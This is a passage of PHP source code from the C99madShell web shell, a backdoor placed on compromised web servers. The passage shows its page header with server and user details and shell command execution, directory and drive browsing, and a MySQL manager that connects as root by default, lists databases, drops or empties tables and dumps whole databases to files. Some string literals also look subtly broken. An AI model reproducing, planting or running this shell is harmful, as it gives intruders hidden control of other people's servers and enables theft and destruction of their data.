 726 function onphpshutdown()
 727 {
 728  global $gzipencode,$ft;
 729  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
 730  {
 731   $v = @ob_get_contents();
 732   @ob_end_clean();
 733   @ob_start("ob_gzHandler");
 734   echo $v;
 735   @ob_end_flush();
 736  }
 737 }
 738 function c99shexit()
 739 {
 740  onphpshutdown();
 741  exit;
 742 }
 743 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
 744 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
 745 header("Cache-Control: no-store, no-cache, must-revalidate");
 746 header("Cache-Control: post-check=0, pre-check=0", FALSE);
 747 header("Pragma: no-cache");
 748 if (empty($tmpdir))
 749 {
 750  $tmpdir = ini_get("upload_tmp_dir");
 751  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
 752 }
 753 $tmpdir = realpath($tmpdir);
 754 $tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
 755 if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
 756 if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
 757 else {$tmpdir_logs = realpath($tmpdir_logs);}
 758 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
 759 {
 760  $safemode = TRUE;
 761  $hsafemode = "<font color=red>ON (secure)</font>";
 762 }
 763 else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
 764 $v = @ini_get("open_basedir");
 765 if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
 766 else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
 767 $sort = htmlspecialchars($sort);
 768 if (empty($sort)) {$sort = $sort_default;}
 769 $sort[1] = strtolower($sort[1]);
 770 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
 771 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
 772 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"#\" onclick=\"document.todo.act.value='phpinfo';document.todo.submit();\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
 773 @ini_set("highlight.bg",$highlight_bg); //FFFFFF
 774 @ini_set("highlight.comment",$highlight_comment); //#FF8000
 775 @ini_set("highlight.default",$highlight_default); //#0000BB
 776 @ini_set("highlight.html",$highlight_html); //#000000
 777 @ini_set("highlight.keyword",$highlight_keyword); //#007700
 778 @ini_set("highlight.string",$highlight_string); //#DD0000
 779 if (!is_array($actbox)) {$actbox = array();}
 780 $dspact = $act = htmlspecialchars($act);
 781 $disp_fullpath = $ls_arr = $notls = null;
 782 $ud = urlencode($d);
 783 ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99madshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99madShell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
 784 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 785 if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
 786 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 787 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 788 $d = str_replace("\","\",$d);
 789 $dispd = htmlspecialchars($d);
 790 $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
 791 $i = 0;
 792 foreach($pd as $b)
 793 {
 794  $t = "";
 795  $j = 0;
 796  foreach ($e as $r)
 797  {
 798   $t.= $r.DIRECTORY_SEPARATOR;
 799   if ($j == $i) {break;}
 800   $j++;
 801  }
 802  echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 803  $i++;
 804 }
 805 echo "&nbsp;&nbsp;&nbsp;";
 806 if (is_writable($d))
 807 {
 808  $wd = TRUE;
 809  $wdt = "<font color=green>[ ok ]</font>";
 810  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
 811 }
 812 else
 813 {
 814  $wd = FALSE;
 815  $wdt = "<font color=red>[ Read-Only ]</font>";
 816  echo "<b>".view_perms_color($d)."</b>";
 817 }
 818 if (is_callable("disk_free_space"))
 819 {
 820  $free = disk_free_space($d);
 821  $total = disk_total_space($d);
 822  if ($free === FALSE) {$free = 0;}
 823  if ($total === FALSE) {$total = 0;}
 824  if ($free < 0) {$free = 0;}
 825  if ($total < 0) {$total = 0;}
 826  $used = $total-$free;
 827  $free_percent = round(100/($total/$free),2);
 828  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
 829 }
 830 echo "<br>";
 831 $letters = "";
 832 if ($win)
 833 {
 834  $v = explode("\",$d);
 835  $v = $v[0];
 836  foreach (range("a","z") as $letter)
 837  {
 838   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
 839   if (!$bool) {$bool = is_dir($letter.":\");}
 840   if ($bool)
 841   {
 842    $letters .= "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($letter.":\")."';document.todo.submit();\">[ ";
 843    if ($letter.":" != $v) {$letters .= $letter;}
 844    else {$letters .= "<font color=green>".$letter."</font>";}
 845    $letters .= " ]</a> ";
 846   }
 847  }
 848  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
 849 }
 850 if (count($quicklaunch) > 0)
 851 {
 852  foreach($quicklaunch as $item)
 853  {
 854   $item[1] = str_replace("%d",urlencode($d),$item[1]);
 855   $item[1] = str_replace("%sort",$sort,$item[1]);
 856   $v = realpath($d."..");
 857   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
 858   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
 859 
 860   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 861  }
 862 }
 863 echo "</p></td></tr></table><br>";
 864 if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
 865 echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
 866 if ($act == "") {$act = $dspact = "ls";}
 867 if ($act == "sql")
 868 {
 869  echo("<form name='sql' method='POST'><input name='act' type='hidden' value='sql'><input name='sql_tbl_insert_q' type='hidden' value=''><input name='sql_login' type='hidden' value=''><input name='kill' type='hidden' value=''><input name='sql_order' type='hidden' value=''><input name='sql_tbl_ls' type='hidden' value=''><input name='sql_tbl_le' type='hidden' value=''><input name='sql_tbl_act' type='hidden' value=''><input name='thistbl' type='hidden' value=''><input name='sql_passwd' type='hidden' value=''><input name='sql_server' type='hidden' value=''><input name='sql_port' type='hidden' value=''><input name='sql_db' type='hidden' value=''><input name='sql_act' type='hidden' value=''><input name='sql_tbl' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''><input name='sql_query' type='hidden' value=''></form>");
 870 
 871  if (isset($_POST['sql_login']))  {$sql_login=htmlspecialchars($_POST['sql_login']);}
 872  if (isset($_POST['sql_passwd'])) {$sql_passwd=htmlspecialchars($_POST['sql_passwd']);}
 873  if (isset($_POST['sql_server'])) {$sql_server=htmlspecialchars($_POST['sql_server']);}
 874  if (isset($_POST['sql_port']))   {$sql_port=htmlspecialchars($_POST['sql_port']);}
 875  if (isset($_POST['sql_db']))     {$sql_db=htmlspecialchars($_POST['sql_db']);}
 876  if (isset($_POST['sql_act']))     {$sql_act=htmlspecialchars($_POST['sql_act']);}
 877  if (isset($_POST['sql_tbl']))     {$sql_tbl=htmlspecialchars($_POST['sql_tbl']);}
 878  if (isset($_POST['sql_tbl_act']))     {$sql_tbl_act=htmlspecialchars($_POST['sql_tbl_act']);}
 879  if (isset($_POST['thistbl']))     {$thistbl=htmlspecialchars($_POST['thistbl']);}
 880  if (isset($_POST['sql_order']))     {$sql_order=htmlspecialchars($_POST['sql_order']);}
 881  if (isset($_POST['sql_tbl_ls']))     {$sql_tbl_ls=htmlspecialchars($_POST['sql_tbl_ls']);}
 882  if (isset($_POST['sql_tbl_le']))     {$sql_tbl_le=htmlspecialchars($_POST['sql_tbl_le']);}
 883  if (isset($_POST['sql_query']))     {$sql_query=htmlspecialchars($_POST['sql_query']);}
 884  if (isset($_POST['sql_tbl_insert_q'])) {$sql_tbl_insert_q=urldecode(htmlspecialchars($_POST['sql_tbl_insert_q']));}
 885  if (isset($_POST['sql_tbl_insert_functs'])) {$sql_tbl_insert_functs=htmlspecialchars($_POST['sql_tbl_insert_functs']);}
 886  if (isset($_POST['sql_tbl_insert_radio'])) {$sql_tbl_insert_radio=htmlspecialchars($_POST['sql_tbl_insert_radio']);}
 887 
 888 
 889 
 890  ?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 891  if ($sql_server)
 892  {
 893   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
 894   $err = mysql_smarterror();
 895   @mysql_select_db($sql_db,$sql_sock);
 896   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 897  }
 898  else {$sql_sock = FALSE;}
 899  echo "<b>SQL Manager:</b><br>";
 900  if (!$sql_sock)
 901  {
 902   if (!$sql_server) {echo "NO CONNECTION";}
 903   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
 904  }
 905  else
 906  {
 907   $sqlquicklaunch = array();
 908   $sqlquicklaunch[] = array("Index","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.submit();");
 909   $sqlquicklaunch[] = array("Query","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_act.value='query';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.submit();");
 910   $sqlquicklaunch[] = array("Server-status","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='serverstatus';document.sql.submit();");
 911   $sqlquicklaunch[] = array("Server variables","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='servervars';document.sql.submit();");
 912   $sqlquicklaunch[] = array("Processes","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='processes';document.sql.submit();");
 913   $sqlquicklaunch[] = array("Logout","#\" onclick=\"document.sql.act.value='sql';document.sql.submit();");
 914   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
 915   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
 916   echo "</center>";
 917  }
 918  echo "</td></tr><tr>";
 919  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 920  else
 921  {
 922   //Start left panel
 923   if (!empty($sql_db))
 924   {
 925    ?><td width="25%" height="100%" valign="top"><a href="#" onclick="document.sql.act.value='sql';document.sql.sql_login.value='<?echo (htmlspecialchars($sql_login)) ?>';document.sql.sql_passwd.value='<?echo (htmlspecialchars($sql_passwd)) ?>';document.sql.sql_server.value='<?echo (htmlspecialchars($sql_server)) ?>';document.sql.sql_port.value='<?echo (htmlspecialchars($sql_port)) ?>';document.sql.submit();"><b>Home</b></a><hr size="1" noshade><?php
 926    $result = mysql_list_tables($sql_db);
 927    if (!$result) {echo mysql_smarterror();}
 928    else
 929    {
 930     echo "---[ <a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_db.value='".htmlspecialchars($sql_db)."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.submit();\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
 931     $c = 0;
 932     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".htmlspecialchars($sql_db)."';document.sql.sql_tbl.value='".htmlspecialchars($row[0])."';document.sql.submit();\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
 933     if (!$c) {echo "No tables found in database.";}
 934    }
 935   }
 936   else
 937   {
 938    ?><td width="1" height="100" valign="top"><a href="<?php echo $_SERVER['PHP_SELF']; ?>"><b>Home</b></a><hr size="1" noshade><?php
 939    $result = mysql_list_dbs($sql_sock);
 940    if (!$result) {echo mysql_smarterror();}
 941    else
 942    {
 943     ?><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
 944     $c = 0;
 945     $dbs = "";
 946     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
 947     echo "<option value=\"\">Databases (".$c.")</option>";
 948     echo $dbs;
 949    }
 950    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
 951   }
 952   //End left panel
 953   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
 954   //Start center panel
 955   $diplay = TRUE;
 956   if ($sql_db)
 957   {
 958    if (!is_numeric($c)) {$c = 0;}
 959    if ($c == 0) {$c = "no";}
 960    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
 961    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
 962    echo "</b></center>";
 963    $acts = array("","dump");
 964    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
 965 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 966    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
 967 ";} $sql_act = "query";}
 968    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
 969    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
 970 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 971    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
 972 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 973    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
 974 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 975    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
 976 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 977    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
 978 ";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
 979    elseif ($sql_tbl_act == "insert")
 980    {
 981     if ($sql_tbl_insert_radio == 1)
 982     {
 983      $keys = "";
 984      $akeys = array_keys($sql_tbl_insert);
 985      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
 986      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
 987      $values = "";
 988      $i = 0;
 989      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
 990      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
 991      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
 992      $sql_act = "query";
 993      $sql_tbl_act = "browse";
 994     }
 995     elseif ($sql_tbl_insert_radio == 2)
 996     {
 997      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
 998      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
 999      $result = mysql_query($sql_query) or print(mysql_smarterror());
1000      $result = mysql_fetch_array($result, MYSQL_ASSOC);
1001      $sql_act = "query";
1002      $sql_tbl_act = "browse";
1003     }
1004    }
1005    if ($sql_act == "query")
1006    {
1007     $sql_query = urldecode($sql_query);
1008     echo "<hr size=\"1\" noshade>";
1009     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1010     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
1011     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
1012    }
1013    if (in_array($sql_act,$acts))
1014    {
1015     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
1016     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
1017     if ($sql_act == "newtbl")
1018     {
1019      echo "<b>";
1020      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
1021     }
1022     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1023    }
1024    elseif ($sql_act == "dump")
1025    {
1026     if (empty($submit))
1027     {
1028      $diplay = FALSE;
1029      echo "<form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
1030      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
1031      $v = join (";",$dmptbls);
1032      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1033      if ($dump_file) {$tmp = $dump_file;}
1034      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1035      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
